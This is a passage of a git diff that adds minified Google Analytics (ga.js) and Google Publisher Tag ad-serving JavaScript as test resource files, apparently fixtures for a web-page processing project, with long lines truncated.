+m=c[q](/ /g,"%20");if(d==Yc(a+k+m))return I(128),[k,m];k=k[q](/\+/g,"%20");m=m[q](/\+/g,"%20");if(d==Yc(a+k+m))return I(129),[k,m];try{var t=b[na]("utmctr=(.*?)(?:\\|utm|$)");if(t&&2==t[x]&&(k=b[q](t[1],H(J(t[1]))),d==Yc(a+k+c)))return I(139),[k,c]}catch(u){}b=J(b)}c=J(c)}};var de="|",fe=function(a,b,c,d,e,f,k,m,t){var u=ee(a,b);u||(u={},a.get(Cb)[p](u));u.id_=b;u.affiliation_=c;u.total_=d;u.tax_=e;u.shipping_=f;u.city_=k;u.state_=m;u.country_=t;u.items_=u.items_||[];return u},ge=functio [...]
+a.get(Cb),d=0;d<c[x];d++)if(c[d].id_==b)return c[d];return j};var he,ie=function(a){if(!he){var b;b=K[A].hash;var c=W[s],d=/^#?gaso=([^&]*)/;if(c=(b=(b=b&&b[na](d)||c&&c[na](d))?b[1]:L(pd("GASO")))&&b[na](/^(?:[|!]([-0-9a-z.]{1,40})[|!])?([-.\w]{10,1200})$/i))Fd(a,"GASO",""+b),M._gasoDomain=a.get(bb),M._gasoCPath=a.get(P),a=c[1],Ha("https://www.google.com/analytics/web/inpage/pub/inpage.js?"+(a?"prefix="+a+"&":"")+Da(),"_gasojs");he=h}};var ae=function(a,b,c){c&&(b=J(b));c=a.b(O,1);b=b[z [...]
+0<d&&c.setPageReadyTime(),c=d==g?g:[d]));if(c==g)return l;d=c[0];if(d==g||d==ba||isNaN(d))return l;if(0<d){a:{for(d=1;d<c[x];d++)if(isNaN(c[d])||c[d]==ba||0>c[d]){d=l;break a}d=h}d?b(je(c)):b(je(c[ia](0,1)))}else Fa(W,"load",function(){ke(a,b)},l);return h},me=function(a,b,c,d){var e=new yd;e.f(14,90,b[C](0,64));e.f(14,91,a[C](0,64));e.f(14,92,""+le(c));d!=g&&e.f(14,93,d[C](0,64));e.o(14,90,c);return e},le=function(a){return isNaN(a)||0>a?0:5E3>a?10*n[ka](a/10):5E4>a?100*n[ka](a/100):41E [...]
+1E3):41E5},je=function(a){for(var b=new yd,c=0;c<a[x];c++)b.f(14,c+1,""+le(a[c])),b.o(14,c+1,a[c]);return b};var U=function(a,b,c){function d(a){return function(b){if((b=b.get(Nc)[a])&&b[x])for(var c={type:a,target:e,stopPropagation:function(){throw"aborted";}},d=0;d<b[x];d++)b[d].call(e,c)}}var e=this;this.a=new Zc;this.get=function(a){return this.a.get(a)};this.set=function(a,b,c){this.a.set(a,b,c)};this.set(Wa,b||"UA-XXXXX-X");this.set($a,a||"");this.set(Ya,c||"");this.set(ab,n.round( [...]
+this.set(yb,50);this.set(gb,l);this.set(hb,h);this.set(ib,h);this.set(jb,h);this.set(kb,h);this.set(lb,h);this.set(ob,"utm_campaign");this.set(nb,"utm_id");this.set(pb,"gclid");this.set(qb,"utm_source");this.set(rb,"utm_medium");this.set(sb,"utm_term");this.set(tb,"utm_content");this.set(ub,"utm_nooverride");this.set(vb,100);this.set(Dc,1);this.set(Ec,l);this.set(wb,"/__utm.gif");this.set(xb,1);this.set(Cb,[]);this.set(Fb,[]);this.set(zb,Ld[ia](0));this.set(Ab,[]);this.set(Bb,[]);this.B( [...]
+K.referrer);a=this.a;try{var f=La(K[A][wa],l),k=da(Ia(f.d.get("utm_referrer")))||"";k&&a.set(Jb,k);var m=W.gaData&&W.gaData.expId;m||(m=da(L(f.d.get("utm_expid")))||"");m&&a.set(Oc,""+m)}catch(t){I(146)}this.set(Nc,{hit:[],load:[]});this.a.g("0",Zd);this.a.g("1",Wd);this.a.g("2",Jd);this.a.g("3",Sd);this.a.g("4",Xd);this.a.g("5",Kd);this.a.g("6",d("load"));this.a.g("7",ie);this.a.e("A",kd);this.a.e("B",md);this.a.e("C",Jd);this.a.e("D",jd);this.a.e("E",Tc);this.a.e("F",ne);this.a.e("G",G [...]
+nd);this.a.e("I",ud);this.a.e("J",Dd);this.a.e("K",d("hit"));this.a.e("L",oe);this.a.e("M",pe);0===this.get(ab)&&I(111);this.a.T();this.H=g};F=U[y];F.m=function(){var a=this.get(Db);a||(a=new yd,this.set(Db,a));return a};F.La=function(a){for(var b in a){var c=a[b];a.hasOwnProperty(b)&&this.set(b,c,h)}};F.K=function(a){if(this.get(Ec))return l;var b=this,c=ke(this.a,function(c){b.set(Hb,a,h);b.t(c)});this.set(Ec,c);return c};
+F.Fa=function(a){a&&Ba(a)?(I(13),this.set(Hb,a,h)):"object"===typeof a&&a!==j&&this.La(a);this.H=a=this.get(Hb);this.a.j("page");this.K(a)};F.F=function(a,b,c,d,e){if(""==a||(!wd(a)||""==b||!wd(b))||c!=g&&!wd(c)||d!=g&&!xd(d))return l;this.set(wc,a,h);this.set(xc,b,h);this.set(yc,c,h);this.set(zc,d,h);this.set(vc,!!e,h);this.a.j("event");return h};
+F.Ha=function(a,b,c,d,e){var f=this.a.b(Dc,0);1*e===e&&(f=e);if(this.a.b(Q,0)%100>=f)return l;c=1*(""+c);if(""==a||(!wd(a)||""==b||!wd(b)||!xd(c)||isNaN(c)||0>c||0>f||100<f)||d!=g&&(""==d||!wd(d)))return l;this.t(me(a,b,c,d));return h};F.Ga=function(a,b,c,d){if(!a||!b)return l;this.set(Ac,a,h);this.set(Bc,b,h);this.set(Cc,c||K[A][wa],h);d&&this.set(Hb,d,h);this.a.j("social");return h};F.Ea=function(){this.set(Dc,10);this.K(this.H)};F.Ia=function(){this.a.j("trans")};
+F.t=function(a){this.set(Eb,a,h);this.a.j("event")};F.ia=function(a){this.v();var b=this;return{_trackEvent:function(c,d,e){I(91);b.F(a,c,d,e)}}};F.ma=function(a){return this.get(a)};F.xa=function(a,b){if(a)if(Ba(a))this.set(a,b);else if("object"==typeof a)for(var c in a)a.hasOwnProperty(c)&&this.set(c,a[c])};F.addEventListener=function(a,b){var c=this.get(Nc)[a];c&&c[p](b)};F.removeEventListener=function(a,b){for(var c=this.get(Nc)[a],d=0;c&&d<c[x];d++)if(c[d]==b){c.splice(d,1);break}}; [...]
+F.B=function(a){this.get(hb);a="auto"==a?Ka(K.domain):!a||"-"==a||"none"==a?"":a[E]();this.set(bb,a)};F.va=function(a){this.set(hb,!!a)};F.na=function(a,b){return ce(this.a,a,b)};F.link=function(a,b){if(this.a.get(fb)&&a){var c=ce(this.a,a,b);K[A].href=c}};F.ua=function(a,b){this.a.get(fb)&&(a&&a.action)&&(a.action=ce(this.a,a.action,b))};
+F.za=function(){this.v();var a=this.a,b=K.getElementById?K.getElementById("utmtrans"):K.utmform&&K.utmform.utmtrans?K.utmform.utmtrans:j;if(b&&b[ma]){a.set(Cb,[]);for(var b=b[ma][z]("UTM:"),c=0;c<b[x];c++){b[c]=Ca(b[c]);for(var d=b[c][z](de),e=0;e<d[x];e++)d[e]=Ca(d[e]);"T"==d[0]?fe(a,d[1],d[2],d[3],d[4],d[5],d[6],d[7],d[8]):"I"==d[0]&&ge(a,d[1],d[2],d[3],d[4],d[5],d[6])}}};F.$=function(a,b,c,d,e,f,k,m){return fe(this.a,a,b,c,d,e,f,k,m)};F.Y=function(a,b,c,d,e,f){return ge(this.a,a,b,c,d,e,f)};
+F.Aa=function(a){de=a||"|"};F.ea=function(){this.set(Cb,[])};F.wa=function(a,b,c,d){var e=this.a;if(0>=a||a>e.get(yb))a=l;else if(!b||!c||128<b[x]+c[x])a=l;else{1!=d&&2!=d&&(d=3);var f={};ea(f,b);f.value=c;f.scope=d;e.get(Fb)[a]=f;a=h}a&&this.a.n();return a};F.ka=function(a){this.a.get(Fb)[a]=g;this.a.n()};F.ra=function(a){return(a=this.a.get(Fb)[a])&&1==a[ta]?a[ma]:g};F.Ca=function(a,b,c){this.m().f(a,b,c)};F.Da=function(a,b,c){this.m().o(a,b,c)};F.sa=function(a,b){return this.m().getKe [...]
+F.ta=function(a,b){return this.m().N(a,b)};F.fa=function(a){this.m().L(a)};F.ga=function(a){this.m().M(a)};F.ja=function(){return new yd};F.W=function(a){a&&this.get(Ab)[p](a[E]())};F.ba=function(){this.set(Ab,[])};F.X=function(a){a&&this.get(Bb)[p](a[E]())};F.ca=function(){this.set(Bb,[])};F.Z=function(a,b,c,d,e){if(a&&b){a=[a,b[E]()][D](":");if(d||e)a=[a,d,e][D](":");d=this.get(zb);d.splice(c?0:d[x],0,a)}};F.da=function(){this.set(zb,[])};
+F.ha=function(a){this.a[ja]();var b=this.get(P),c=be(this.a);this.set(P,a);this.a.n();ae(this.a,c);this.set(P,b)};F.ya=function(a,b){if(0<a&&5>=a&&Ba(b)&&""!=b){var c=this.get(Fc)||[];c[a]=b;this.set(Fc,c)}};F.V=function(a){a=""+a;if(a[na](/^[A-Za-z0-9]{1,5}$/)){var b=this.get(Ic)||[];b[p](a);this.set(Ic,b)}};F.v=function(){this.a[ja]()};F.Ba=function(a){a&&""!=a&&(this.set(Tb,a),this.a.j("var"))};var ne=function(a){"trans"!==a.get(sc)&&500<=a.b(cc,0)&&a[sa]();if("event"===a.get(sc)){var [...]
+var c=function(a,b){b&&d[p](a+"="+b+";")},d=[];c("__utma",cd(a));c("__utmz",hd(a,l));c("__utmv",fd(a,h));c("__utmx",be(a));b.add("utmcc",d[D]("+"),h);a.get(Xa)!==l&&(a.get(Xa)||M.w)&&b.add("aip",1);b.add("utmu",od.Xa())},ue=function(a,b){for(var c=a.get(Fc)||[],d=[],e=1;e<c[x];e++)c[e]&&d[p](e+":"+H(c[e][q](/%/g,"%25")[q](/:/g,"%3A")[q](/,/g,"%2C")));d[x]&&b.add("utmpg",d[D](","))},ve=function(a,b){a.get(ib)&&(b.add("utmcs",a.get(Qb),h),b.add("utmsr",a.get(Lb)),a.get(Rb)&&b.add("utmvp",a [...]
+b.add("utmsc",a.get(Mb)),b.add("utmul",a.get(Pb)),b.add("utmje",a.get(Nb)),b.add("utmfl",a.get(Ob),h))},we=function(a,b){a.get(lb)&&a.get(Ib)&&b.add("utmdt",a.get(Ib),h);b.add("utmhid",a.get(Kb));b.add("utmr",Pa(a.get(Jb),a.get(P)),h);b.add("utmp",H(a.get(Hb),h),h)},xe=function(a,b){for(var c=a.get(Db),d=a.get(Eb),e=a.get(Fb)||[],f=0;f<e[x];f++){var k=e[f];k&&(c||(c=new yd),c.f(8,f,k[s]),c.f(9,f,k[ma]),3!=k[ta]&&c.f(11,f,""+k[ta]))}!G(a.get(wc))&&!G(a.get(xc),h)&&(c||(c=new yd),c.f(5,1,a [...]
+c.f(5,2,a.get(xc)),e=a.get(yc),e!=g&&c.f(5,3,e),e=a.get(zc),e!=g&&c.o(5,1,e));c?b.add("utme",c.Qa(d),h):d&&b.add("utme",d.A(),h)},ye=function(a,b,c){var d=new qe;re(a,c);se(a,d);d.add("utmt","tran");d.add("utmtid",b.id_,h);d.add("utmtst",b.affiliation_,h);d.add("utmtto",b.total_,h);d.add("utmttx",b.tax_,h);d.add("utmtsp",b.shipping_,h);d.add("utmtci",b.city_,h);d.add("utmtrg",b.state_,h);d.add("utmtco",b.country_,h);xe(a,d);ve(a,d);we(a,d);(b=a.get(Gb))&&d.add("utmcu",b,h);c||(ue(a,d),te [...]
+ze=function(a,b,c){var d=new qe;re(a,c);se(a,d);d.add("utmt","item");d.add("utmtid",b.transId_,h);d.add("utmipc",b.sku_,h);d.add("utmipn",b.name_,h);d.add("utmiva",b.category_,h);d.add("utmipr",b.price_,h);d.add("utmiqt",b.quantity_,h);xe(a,d);ve(a,d);we(a,d);(b=a.get(Gb))&&d.add("utmcu",b,h);c||(ue(a,d),te(a,d));return d[w]()},Ae=function(a,b){var c=a.get(sc);if("page"==c)c=new qe,re(a,b),se(a,c),xe(a,c),ve(a,c),we(a,c),b||(ue(a,c),te(a,c)),c=[c[w]()];else if("event"==c)c=new qe,re(a,b) [...]
+c.add("utmt","event"),xe(a,c),ve(a,c),we(a,c),b||(ue(a,c),te(a,c)),c=[c[w]()];else if("var"==c)c=new qe,re(a,b),se(a,c),c.add("utmt","var"),!b&&te(a,c),c=[c[w]()];else if("trans"==c)for(var c=[],d=a.get(Cb),e=0;e<d[x];++e){c[p](ye(a,d[e],b));for(var f=d[e].items_,k=0;k<f[x];++k)c[p](ze(a,f[k],b))}else"social"==c?b?c=[]:(c=new qe,re(a,b),se(a,c),c.add("utmt","social"),c.add("utmsn",a.get(Ac),h),c.add("utmsa",a.get(Bc),h),c.add("utmsid",a.get(Cc),h),xe(a,c),ve(a,c),we(a,c),ue(a,c),te(a,c), [...]
+"feedback"==c?b?c=[]:(c=new qe,re(a,b),se(a,c),c.add("utmt","feedback"),c.add("utmfbid",a.get(Gc),h),c.add("utmfbpr",a.get(Hc),h),xe(a,c),ve(a,c),we(a,c),ue(a,c),te(a,c),c=[c[w]()]):c=[];return c},oe=function(a){var b,c=a.get(xb),d=a.get(uc),e=d&&d.Ua,f=0;if(0==c||2==c){var k=a.get(wb)+"?";b=Ae(a,h);for(var m=0,t=b[x];m<t;m++)Sa(b[m],e,k,h),f++}if(1==c||2==c){b=Ae(a);m=0;for(t=b[x];m<t;m++)try{Sa(b[m],e),f++}catch(u){u&&Ra(u[s],g,u.message)}}d&&(d.q=f)};var Be=function(){return"https:"== [...]
+![].reduce)throw new De(a[x]);var m;b=Be()+"/p/__utm.gif";if(c=W.XDomainRequest)m=new c,m.open("POST",b);else if(c=W.XMLHttpRequest)c=new c,"withCredentials"in c&&(m=c,m.open("POST",b,h),m.setRequestHeader("Content-Type","text/plain"));m?(m.onreadystatechange=function(){4==m.readyState&&(k(),m=j)},m.send(a),b=h):b=g;b||Ee(a,k)}else throw new Ce(a[x]);},Ee=function(a,b){if(K.body){a=aa(a);try{var c=K[pa]('<iframe name="'+a+'"></iframe>')}catch(d){c=K[pa]("iframe"),ea(c,a)}c.height="0";c.w [...]
+c.style.display="none";c.style.visibility="hidden";var e=K[A],e=Be()+"/u/post_iframe.html#"+aa(e[B]+"//"+e[v]+"/favicon.ico"),f=function(){c.src="";c.parentNode&&c.parentNode.removeChild(c)};Fa(W,"beforeunload",f);var k=l,m=0,t=function(){if(!k){try{if(9<m||c.contentWindow[A][v]==K[A][v]){k=h;f();Ga(W,"beforeunload",f);b();return}}catch(a){}m++;ca(t,200)}};Fa(c,"load",t);K.body.appendChild(c);c.src=e}else ca(function(){Ee(a,b)},100)};var $=function(){this.G=this.w=l;this.C={};this.D=[];t [...]
+ib,53,1);Qc("_getDetectTitle",lb,56,1);Qc("_getDetectFlash",jb,65,1);Qc("_getLocalGifPath",wb,57);Qc("_getServiceMode",xb,59);V("_setClientInfo",ib,66,2);V("_setAccount",Wa,3);V("_setNamespace",Ya,48);V("_setAllowLinker",fb,11,2);V("_setDetectFlash",jb,61,2);V("_setDetectTitle",lb,62,2);V("_setLocalGifPath",wb,46,0);V("_setLocalServerMode",xb,92,g,0);V("_setRemoteServerMode",xb,63,g,1);V("_setLocalRemoteServerMode",xb,47,g,2);V("_setSampleRate",vb,45,1);V("_setCampaignTrack",kb,36,2);V(" [...]
+gb,7,2);V("_setCampNameKey",ob,41);V("_setCampContentKey",tb,38);V("_setCampIdKey",nb,39);V("_setCampMediumKey",rb,40);V("_setCampNOKey",ub,42);V("_setCampSourceKey",qb,43);V("_setCampTermKey",sb,44);V("_setCampCIdKey",pb,37);V("_setCookiePath",P,9,0);V("_setMaxCustomVariables",yb,0,1);V("_setVisitorCookieTimeout",cb,28,1);V("_setSessionCookieTimeout",db,26,1);V("_setCampaignCookieTimeout",eb,29,1);V("_setReferrerOverride",Jb,49);V("_setSiteSpeedSampleRate",Dc,132);a("_trackPageview",U[y [...]
+U[y].F,4);a("_trackPageLoadTime",U[y].Ea,100);a("_trackSocial",U[y].Ga,104);a("_trackTrans",U[y].Ia,18);a("_sendXEvent",U[y].t,78);a("_createEventTracker",U[y].ia,74);a("_getVersion",U[y].qa,60);a("_setDomainName",U[y].B,6);a("_setAllowHash",U[y].va,8);a("_getLinkerUrl",U[y].na,52);a("_link",U[y].link,101);a("_linkByPost",U[y].ua,102);a("_setTrans",U[y].za,20);a("_addTrans",U[y].$,21);a("_addItem",U[y].Y,19);a("_clearTrans",U[y].ea,105);a("_setTransactionDelim",U[y].Aa,82);a("_setCustomV [...]
+10);a("_deleteCustomVar",U[y].ka,35);a("_getVisitorCustomVar",U[y].ra,50);a("_setXKey",U[y].Ca,83);a("_setXValue",U[y].Da,84);a("_getXKey",U[y].sa,76);a("_getXValue",U[y].ta,77);a("_clearXKey",U[y].fa,72);a("_clearXValue",U[y].ga,73);a("_createXObj",U[y].ja,75);a("_addIgnoredOrganic",U[y].W,15);a("_clearIgnoredOrganic",U[y].ba,97);a("_addIgnoredRef",U[y].X,31);a("_clearIgnoredRef",U[y].ca,32);a("_addOrganic",U[y].Z,14);a("_clearOrganic",U[y].da,70);a("_cookiePathCopy",U[y].ha,30);a("_get [...]
+106);a("_set",U[y].xa,107);a("_addEventListener",U[y].addEventListener,108);a("_removeEventListener",U[y].removeEventListener,109);a("_addDevId",U[y].V);a("_getPlugin",Pc,122);a("_setPageGroup",U[y].ya,126);a("_trackTiming",U[y].Ha,124);a("_initData",U[y].v,2);a("_setVar",U[y].Ba,22);V("_setSessionTimeout",db,27,3);V("_setCookieTimeout",eb,25,3);V("_setCookiePersistence",cb,24,1);a("_setAutoTrackOutbound",Ea,79);a("_setTrackOutboundSubdomains",Ea,81);a("_setHrefExamineLimit",Ea,80)};F=$[y];
+F.oa=function(a,b){return this.r(a,g,b)};F.r=function(a,b,c){b&&I(23);c&&I(67);b==g&&(b="~"+M.U++);a=new U(b,a,c);M.C[b]=a;M.D[p](a);return a};F.u=function(a){a=a||"";return M.C[a]||M.r(g,a)};F.pa=function(){return M.D[ia](0)};F.aa=function(){this.w=h};F.la=function(){this.G=h};var Fe=function(a){if("prerender"==K.webkitVisibilityState)return l;a();return h};var M=new $;var Ge=W._gat;Ge&&Aa(Ge._getTracker)?M=Ge:W._gat=M;var Z=new Y;var He=function(){var a=W._gaq,b=l;if(a&&Aa(a[p])&&(b="[ [...]
diff --git a/src/test/resources/s/Filer_for_fark/google_ads_gpt.js b/src/test/resources/s/Filer_for_fark/google_ads_gpt.js
new file mode 100644
index 0000000..332fef4
--- /dev/null
+++ b/src/test/resources/s/Filer_for_fark/google_ads_gpt.js
@@ -0,0 +1,101 @@
+(function(){var j=void 0,p=!0,q=null,r=!1,s,t=this,aa=function(a){var b=typeof a;if("object"==b)if(a){if(a instanceof Array)return"array";if(a instanceof Object)return b;var c=Object.prototype.toString.call(a);if("[object Window]"==c)return"object";if("[object Array]"==c||"number"==typeof a.length&&"undefined"!=typeof a.splice&&"undefined"!=typeof a.propertyIsEnumerable&&!a.propertyIsEnumerable("splice"))return"array";if("[object Function]"==c||"undefined"!=typeof a.call&&"undefined"!=ty [...]
+!a.propertyIsEnumerable("call"))return"function"}else return"null";else if("function"==b&&"undefined"==typeof a.call)return"object";return b},da=function(a){return"string"==typeof a},v=function(a){return"function"==aa(a)},ea="closure_uid_"+Math.floor(2147483648*Math.random()).toString(36),fa=0,ga=function(a,b,c){return a.call.apply(a.bind,arguments)},ha=function(a,b,c){if(!a)throw Error();if(2<arguments.length){var d=Array.prototype.slice.call(arguments,2);return function(){var c=Array.p [...]
+Array.prototype.unshift.apply(c,d);return a.apply(b,c)}}return function(){return a.apply(b,arguments)}},ia=function(a,b,c){ia=Function.prototype.bind&&-1!=Function.prototype.bind.toString().indexOf("native code")?ga:ha;return ia.apply(q,arguments)},ja=Date.now||function(){return+new Date},w=function(a,b){var c=a.split("."),d=t;!(c[0]in d)&&d.execScript&&d.execScript("var "+c[0]);for(var e;c.length&&(e=c.shift());)!c.length&&b!==j?d[e]=b:d=d[e]?d[e]:d[e]={}},ka=function(a,b){function c(){ [...]
+b.prototype;a.jb=b.prototype;a.prototype=new c};var la=document,ma=window;var na=function(a){a=parseFloat(a);return isNaN(a)||1<a||0>a?0:a},oa=/^([\w-]+\.)*([\w-]{2,})(\:[0-9]+)?$/,pa=function(a,b){if(!a)return b;var c=a.match(oa);return c?c[0]:b};var qa=function(a){return a?"pagead2.googlesyndication.com":pa("","pagead2.googlesyndication.com")};var ra=function(a){return/^[\s\xa0]*$/.test(a==q?"":String(a))},sa=function(a){return a.replace(/^[\s\xa0]+|[\s\xa0]+$/g,"")},ta=/&/g,ua=/</g,va [...]
+return b[a]=f})}else a=a.replace(/&([^;]+);/g,function(a,b){switch(b){case "amp":return"&";case "lt":return"<";case "gt":return">";case "quot":return'"';default:if("#"==b.charAt(0)){var c=Number("0"+b.substr(1));if(!isNaN(c))return String.fromCharCode(c)}return a}});return a},xa=/&([^;\s<&]+);?/g,za={"\x00":"\\0","\b":"\\b","\f":"\\f","\n":"\\n","\r":"\\r","\t":"\\t","\x0B":"\\x0B",'"':'\\"',"\\":"\\\\"},Aa={"'":"\\'"};var Ba=function(a,b){this.width=a;this.height=b};Ba.prototype.floor=f [...]
+function Ea(){if(navigator.plugins&&navigator.mimeTypes.length){var a=navigator.plugins["Shockwave Flash"];if(a&&a.description)return a.description.replace(/([a-zA-Z]|\s)+/,"").replace(/(\s)+r/,".")}else{if(navigator.userAgent&&0<=navigator.userAgent.indexOf("Windows CE")){for(var a=3,b=1;b;)try{b=new ActiveXObject("ShockwaveFlash.ShockwaveFlash."+(a+1)),a++}catch(c){b=q}return a.toString()}if(("msie"in Da?Da.msie:Da.msie=-1!=navigator.userAgent.toLowerCase().indexOf("msie"))&&!window.op [...]
+try{b=new ActiveXObject("ShockwaveFlash.ShockwaveFlash.7")}catch(d){a=0;try{b=new ActiveXObject("ShockwaveFlash.ShockwaveFlash.6"),a=6,b.Tb="always"}catch(e){if(6==a)return a.toString()}try{b=new ActiveXObject("ShockwaveFlash.ShockwaveFlash")}catch(f){}}if(b)return a=b.GetVariable("$version").split(" ")[1],a.replace(/,/g,".")}}return"0"}
+var Fa=function(a,b){if(!(1E-4>Math.random())){var c=Math.random();if(c<b)return a[Math.floor(c/b*a.length)]}return q},Ga=function(a){var b=a.length;if(0==b)return 0;for(var c=305419896,d=0;d<b;d++)c^=(c<<5)+(c>>2)+a.charCodeAt(d)&4294967295;return 0<c?c:4294967296+c},Ha=function(a){try{return!!a.location.href||""===a.location.href}catch(b){return r}};var z=Array.prototype,Ia=z.indexOf?function(a,b,c){return z.indexOf.call(a,b,c)}:function(a,b,c){c=c==q?0:0>c?Math.max(0,a.length+c):c;if( [...]
+a.split(""):a,h=0;h<d;h++)if(h in g){var l=g[h];b.call(c,l,h,a)&&(e[f++]=l)}return e},La=z.map?function(a,b,c){return z.map.call(a,b,c)}:function(a,b,c){for(var d=a.length,e=Array(d),f=da(a)?a.split(""):a,g=0;g<d;g++)g in f&&(e[g]=b.call(c,f[g],g,a));return e},Ma=function(a){return z.concat.apply(z,arguments)};var A=function(a,b){this.x=a!==j?a:0;this.y=b!==j?b:0};var Na=function(a){var b=[],c=0,d;for(d in a)b[c++]=a[d];return b};var Oa,Pa,Qa,Ra,Sa=function(){return t.navigator?t.navigat [...]
+a:{var $a="",ab;if(Va&&t.opera)var bb=t.opera.version,$a="function"==typeof bb?bb():bb;else if(Wa?ab=/rv\:([^\);]+)(\)|;)/:B?ab=/MSIE\s+([^\);]+)(\)|;)/:Xa&&(ab=/WebKit\/(\S+)/),ab)var cb=ab.exec(Sa()),$a=cb?cb[1]:"";if(B){var db=Ya();if(db>parseFloat($a)){Za=String(db);break a}}Za=$a}
+var eb=Za,fb={},gb=function(a){var b;if(!(b=fb[a])){b=0;for(var c=sa(String(eb)).split("."),d=sa(String(a)).split("."),e=Math.max(c.length,d.length),f=0;0==b&&f<e;f++){var g=c[f]||"",h=d[f]||"",l=RegExp("(\\d*)(\\D*)","g"),n=RegExp("(\\d*)(\\D*)","g");do{var k=l.exec(g)||["","",""],m=n.exec(h)||["","",""];if(0==k[0].length&&0==m[0].length)break;b=((0==k[1].length?0:parseInt(k[1],10))<(0==m[1].length?0:parseInt(m[1],10))?-1:(0==k[1].length?0:parseInt(k[1],10))>(0==m[1].length?0:parseInt(m [...]
+1:0)||((0==k[2].length)<(0==m[2].length)?-1:(0==k[2].length)>(0==m[2].length)?1:0)||(k[2]<m[2]?-1:k[2]>m[2]?1:0)}while(0==b)}b=fb[a]=0<=b}return b},hb=t.document,ib=!hb||!B?j:Ya()||("CSS1Compat"==hb.compatMode?parseInt(eb,10):5);var jb;!Wa&&!B||B&&B&&9<=ib||Wa&&gb("1.9.1");B&&gb("9");var lb=function(a){return a?new kb(C(a)):jb||(jb=new kb)},mb=function(a){return da(a)?document.getElementById(a):a},nb=function(a){var b=!Xa&&"CSS1Compat"==a.compatMode?a.documentElement:a.body;a=a.parentWin [...]
+kb.prototype.appendChild=function(a,b){a.appendChild(b)};var F=function(a){this.b=a;this.ia=this.b.getName();this.Ka=this.b.getSlotId().getInstance();a=this.ia.split("/");this.pb=3<=a.length?a[2]:"";this.Ua="";this.Ma={}};F.prototype.kb=0;F.prototype.ca=r;F.prototype.getName=function(){return this.ia};F.prototype.getInstance=function(){return this.Ka};var G=function(a){return a.ia+"_"+a.Ka},H=function(a){return a.b.getSlotId().getDomId()},ob=function(a){return"google_ads_iframe_"+G(a)};
+F.prototype.toString=function(){var a=this.b.getSlotId().toString();return"[gam.gut.AdSlot: pubid="+this.pb+", name="+this.ia+", instance="+this.Ka+", iframeLoaded="+this.ca+", tries="+this.kb+", GUT slot id="+a+"]"};var pb=function(a,b){a.U||(a.U=(new Date).getTime());a.b.fetchStarted(b||"")},qb=function(a){a.ob||(a.ob=(new Date).getTime());v(a.b.renderStarted)&&a.b.renderStarted()};
+F.prototype.getSizes=function(){for(var a=this.b.getSizes(),b=[],c=0;c<a.length;++c)b.push([a[c].getWidth(),a[c].getHeight()]);return b};var sb=function(a){a=a.getSizes();for(var b=[],c=0;c<a.length;++c)b.push(a[c].join("x"));return b.join("|")};F.prototype.setTargeting=function(a,b){Boolean(this.b.getTargetingMap)?this.b.setTargeting(a,b):this.Ma[a]=b};F.prototype.clearTargeting=function(){Boolean(this.b.getTargetingMap)?this.b.clearTargeting():this.Ma={}};
+var tb=function(a){var b=[],c={},c=Boolean(a.b.getTargetingMap)?a.b.getTargetingMap():a.Ma,d;for(d in c){a=c[d];for(var e=[],f=0;f<a.length;++f)e.push(encodeURIComponent(a[f]));b.push(encodeURIComponent(d)+"="+e.join(","))}return b.join("&")};F.prototype.getContentUrl=function(){return v(this.b.getContentUrl)?this.b.getContentUrl():""};F.prototype.getClickUrl=function(){return v(this.b.getClickUrl)?this.b.getClickUrl():""};
+F.prototype.getOutOfPage=function(){return v(this.b.getOutOfPage)?this.b.getOutOfPage():r};var ub=q;var vb=!!window.google_async_iframe_id,wb=vb&&window.parent||window,xb=function(){if(vb&&!Ha(wb)){for(var a="."+la.domain;2<a.split(".").length&&!Ha(wb);)la.domain=a=a.substr(a.indexOf(".")+1),wb=window.parent;Ha(wb)||(wb=window)}return wb};function yb(a,b){try{return a.top.document==b}catch(c){}return r};var zb=function(a){this.Oa=[];this.q={};for(var b=0,c=arguments.length;b<c;++b)this.q [...]
+new Bb(c):Db[a]=d},Fb=function(a){switch(a){case 3:return"google_exp_persistent";case 4:return"google_num_sdo_slots";case 5:return"google_num_0ad_slots";case 6:return"google_num_ad_slots";case 7:return"google_correlator";case 8:return"google_prev_ad_formats_by_region";case 9:return"google_prev_ad_slotnames_by_region";case 10:return"google_num_slots_by_channel";case 11:return"google_viewed_host_channels";case 12:return"google_num_slot_to_show";case 14:return"gaGlobal"}},Gb=function(a){var [...]
+return a.S[b]},I=function(a,b,c){a=a.S;b=Fb(b);a[b]===j&&(a[b]=c)};var Hb=/^true$/.test("false")?p:r;var Ib=na("0.02"),Jb=na("1"),Kb=na("1");var Lb=na("0.005"),Mb=na("0.01"),Nb=na("0.001"),Ob=parseInt("1500",10),Pb=isNaN(Ob)?1500:Ob,Qb=na("0.01");var J="var i=this.id,s=window.google_iframe_oncopy,H=s&&s.handlers,h=H&&H[i],w=this.contentWindow,d;try{d=w.document}catch(e){}if(h&&d&&(!d.body||!d.body.firstChild)){if(h.call){setTimeout(h,0)}else if(h.match){w.location.replace(h)}}";/[&<>\"]/ [...]
+google_contents:"contents",google_country:"gl",google_cpm:"cpm",google_cust_age:"cust_age",google_cust_ch:"cust_ch",google_cust_gender:"cust_gender",google_cust_id:"cust_id",google_cust_interests:"cust_interests",google_cust_job:"cust_job",google_cust_l:"cust_l",google_cust_lh:"cust_lh",google_cust_u_url:"cust_u_url",google_disable_video_autoplay:"disable_video_autoplay",google_ed:"ed",google_encoding:"oe",google_feedback:"feedback_link",google_flash_version:"flash",google_font_face:"f", [...]
+google_hints:"hints",google_kw:"kw",google_kw_type:"kw_type",google_language:"hl",google_page_url:"url",google_region:"gr",google_reuse_colors:"reuse_colors",google_safe:"adsafe",google_sc_id:"sc_id",google_tag_info:"gut",google_targeting:"targeting",google_ui_features:"ui",google_ui_version:"uiv",google_video_doc_id:"video_doc_id",google_video_product_type:"video_product_type"},Tb={google_ad_block:"ad_block",google_ad_client:"client",google_ad_format:"format",google_ad_output:"output",g [...]
+google_ad_height:"h",google_ad_override:"google_ad_override",google_ad_slot:"slotname",google_ad_width:"w",google_ctr_threshold:"ctr_t",google_image_size:"image_size",google_last_modified_time:"lmt",google_loeid:"loeid",google_max_num_ads:"num_ads",google_max_radlink_len:"max_radlink_len",google_mtl:"mtl",google_num_radlinks:"num_radlinks",google_num_radlinks_per_unit:"num_radlinks_per_unit",google_only_ads_with_video:"only_ads_with_video",google_rl_dest_url:"rl_dest_url",google_rl_filte [...]
